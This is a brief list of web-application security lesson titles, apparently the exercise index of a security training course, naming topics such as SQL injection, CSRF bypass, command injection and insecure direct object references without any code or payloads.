Add Data With SQL Injection
Basic Authentication
Command Injection
CSRF Bypass
CSRF Token Bypass
CSRF
Database BackdoorsFailed To Restrict Url Access
Forgot Password
Insecure Criptographic Storage
Insecure Direct Object Reference
Log Spoofing
Modify Data
Multilevel Login 1 - TAN
Multilevel Login 2 - TAN 2
Numeric Sql Injection
Password Strength
Security Misconfiguration
String Sql injection
transporte
Unvalidate Redirects And fordwards
Xpath Injection